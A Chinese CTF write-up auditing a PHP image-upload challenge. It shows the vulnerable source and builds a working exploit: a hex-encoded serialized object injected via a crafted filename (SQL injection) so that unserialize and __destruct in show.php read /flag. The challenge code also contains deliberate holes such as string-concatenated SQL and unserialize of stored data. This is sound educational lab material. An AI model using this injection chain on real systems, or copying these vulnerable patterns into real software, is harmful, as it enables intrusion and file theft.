遇到代码审计不要怕,往死里审
题目是有给源码的,直接来看源码。
show .php
-
Show Images - "stylesheet" href="./style.css">
- "content-type" content="text/html;charset=UTF-8"/>
-
"center">Your images
The function of viewing the image has not been completed, and currently only the contents of your image name can be saved. I hope you can forgive me and my colleagues and I are working hard to improve.p>
- <hr>
- php
- include("./helper.php");
- $show = new show();
- if($_GET["delete_all"]){
- if($_GET["delete_all"] == "true"){
- $show->Delete_All_Images();
- }
- }
- $show->Get_All_Images();
-
- class show{
- public $con;
-
- public function __construct(){
- $this->con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
- if (mysqli_connect_errno($this->con)){
- die("Connect MySQL Fail:".mysqli_connect_error());
- }
- }
-
- public function Get_All_Images(){
- $sql = "SELECT * FROM images";
- $result = mysqli_query($this->con, $sql);
- if ($result->num_rows > 0){
- while($row = $result->fetch_assoc()){
- if($row["attr"]){
- $attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
- $attr = unserialize($attr_temp);
- }
- echo "
id="
.$row["id"]." filename=".$row["filename"]." path=".$row["path"].""; - }
- }else{
- echo "
You have not uploaded an image yet.
"; - }
- mysqli_close($this->con);
- }
-
- public function Delete_All_Images(){
- $sql = "DELETE FROM images";
- $result = mysqli_query($this->con, $sql);
- }
- }
- ?>
-
-
upload.php
-
Image Upload - "stylesheet" href="./style.css">
- "content-type" content="text/html;charset=UTF-8"/>
"center">"https://i.loli.net/2019/10/06/i5GVSYnB1mZRaFj.png" width=300 length=150>
- "center">
- "file" name="file">
- "Submit" value="submit">
-
-
- include("./helper.php");
- class upload extends helper {
- public function upload_base(){
- $this->upload();
- }
- }
-
- if ($_FILES){
- if ($_FILES["file"]["error"]){
- die("Upload file failed.");
- }else{
- $file = new upload();
- $file->upload_base();
- }
- }
-
- $a = new helper();
- ?>
helper.php
- class helper {
- protected $folder = "pic/";
- protected $ifview = False;
- protected $config = "config.txt";
- // The function is not yet perfect, it is not open yet.
-
- public function upload($input="file")
- {
- $fileinfo = $this->getfile($input);
- $array = array();
- $array["title"] = $fileinfo['title'];
- $array["filename"] = $fileinfo['filename'];
- $array["ext"] = $fileinfo['ext'];
- $array["path"] = $fileinfo['path'];
- $img_ext = getimagesize($_FILES[$input]["tmp_name"]);
- $my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
- $array["attr"] = serialize($my_ext);
- $id = $this->save($array);
- if ($id == 0){
- die("Something wrong!");
- }
- echo "
"; - echo "
Your images is uploaded successfully. And your image's id is $id.
"; - }
-
- public function getfile($input)
- {
- if(isset($input)){
- $rs = $this->check($_FILES[$input]);
- }
- return $rs;
- }
-
- public function check($info)
- {
- $basename = substr(md5(time().uniqid()),9,16);
- $filename = $info["name"];
- $ext = substr(strrchr($filename, '.'), 1);
- $cate_exts = array("jpg","gif","png","jpeg");
- if(!in_array($ext,$cate_exts)){
- die("
Please upload the correct image file!!!
"); - }
- $title = str_replace(".".$ext,'',$filename);
- return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
- }
-
- public function save($data)
- {
- if(!$data || !is_array($data)){
- die("Something wrong!");
- }
- $id = $this->insert_array($data);
- return $id;
- }
-
- public function insert_array($data)
- {
- $con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
- if (mysqli_connect_errno($con))
- {
- die("Connect MySQL Fail:".mysqli_connect_error());
- }
- $sql_fields = array();
- $sql_val = array();
- foreach($data as $key=>$value){
- $key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
- $value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
- $sql_fields[] = "`".$key_temp."`";
- $sql_val[] = "'".$value_temp."'";
- }
- $sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
- mysqli_query($con, $sql);
- $id = mysqli_insert_id($con);
- mysqli_close($con);
- return $id;
- }
-
- public function view_files($path){
- if ($this->ifview == False){
- return False;
- //The function is not yet perfect, it is not open yet.
- }
- $content = file_get_contents($path);
- echo $content;
- }
-
- function __destruct(){
- # Read some config html
- $this->view_files($this->config);
- }
- }
-
- ?>
简单审计 一下,在upload 页面会自动调用 helper .php 的功能,也就是说 upload 的基本功能都在helper.php 里。 所以我们主要就审计 upload.php 和 helper.php
按照流程,一步一步来 ,看到upload.php
-
- class upload extends helper {
- public function upload_base(){
- $this->upload();
- }
- }
这里调用了 helper的upload方法,跟进一下。
- public function upload($input="file")
- {
- $fileinfo = $this->getfile($input);
- $array = array();
- $array["title"] = $fileinfo['title'];
- $array["filename"] = $fileinfo['filename'];
- $array["ext"] = $fileinfo['ext'];
- $array["path"] = $fileinfo['path'];
- $img_ext = getimagesize($_FILES[$input]["tmp_name"]);
- $my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
- $array["attr"] = serialize($my_ext);
- $id = $this->save($array);
- if ($id == 0){
- die("Something wrong!");
- }
- echo "
"; - echo "
Your images is uploaded successfully. And your image's id is $id.
"; - }
到这个函数 检查了 后缀只能是 jpg, gif,png,jpeg
然后这里
$array["attr"] = serialize($my_ext);
这里把图片的信息 序列化了。然后 调用了 save () 保存。
而且这个php文件还有个文件读取点
- public function view_files($path){
- if ($this->ifview == False){
- return False;
- //The function is not yet perfect, it is not open yet.
- }
- $content = file_get_contents($path);
- echo $content;
- }
-
- function __destruct(){
- # Read some config html
- $this->view_files($this->config);
- }
- }
我们需要把 ifview 改成true config改成 /flag
看到 show.php
- public function Get_All_Images(){
- $sql = "SELECT * FROM images";
- $result = mysqli_query($this->con, $sql);
- if ($result->num_rows > 0){
- while($row = $result->fetch_assoc()){
- if($row["attr"]){
- $attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
- $attr = unserialize($attr_temp);
函数 把所有 照片给反序列化出来。。
简单构造下payload:
- class helper {
- protected $ifview = True;
- protected $config = "/flag";
- }
-
- $a = new helper();
- $b = serialize($a);
- echo bin2hex($b);
这里将反序列化后的结果进行16进制 是因为过滤了引号。
0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d
看到这里先总结一下,我们上传图片的时候会给照片序列化存储,然后show 展示图片的时候会进行一次反序列化。
我们先来看这一部分。
我们上传之后的图片 经过处理titile 会删掉后缀名 ,然后调用了 getfile函数,跟进,
跟进check
此时看到,我们的这个filename 是可控的,也就是说,我们可以传入的时候构造恶意的filename 来达到sql注入攻击的目的,title上面是我们传入图片删除掉后缀,加入filenam=a.png 那么title =a
也就是我们构造的filename ,将恶意数据存储到title中,当去查看时,经过反序列化后就会将以构造的恶意的title 查找的值给输出出来。
这样就清晰了
首先是通过序列化去构造读取flag文件的payload,由于 过滤了引号,所以十六进制转换,再通过构造恶意的filename 进行sql攻击。
payload:
icp','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#
之后访问 show.php
得到flag。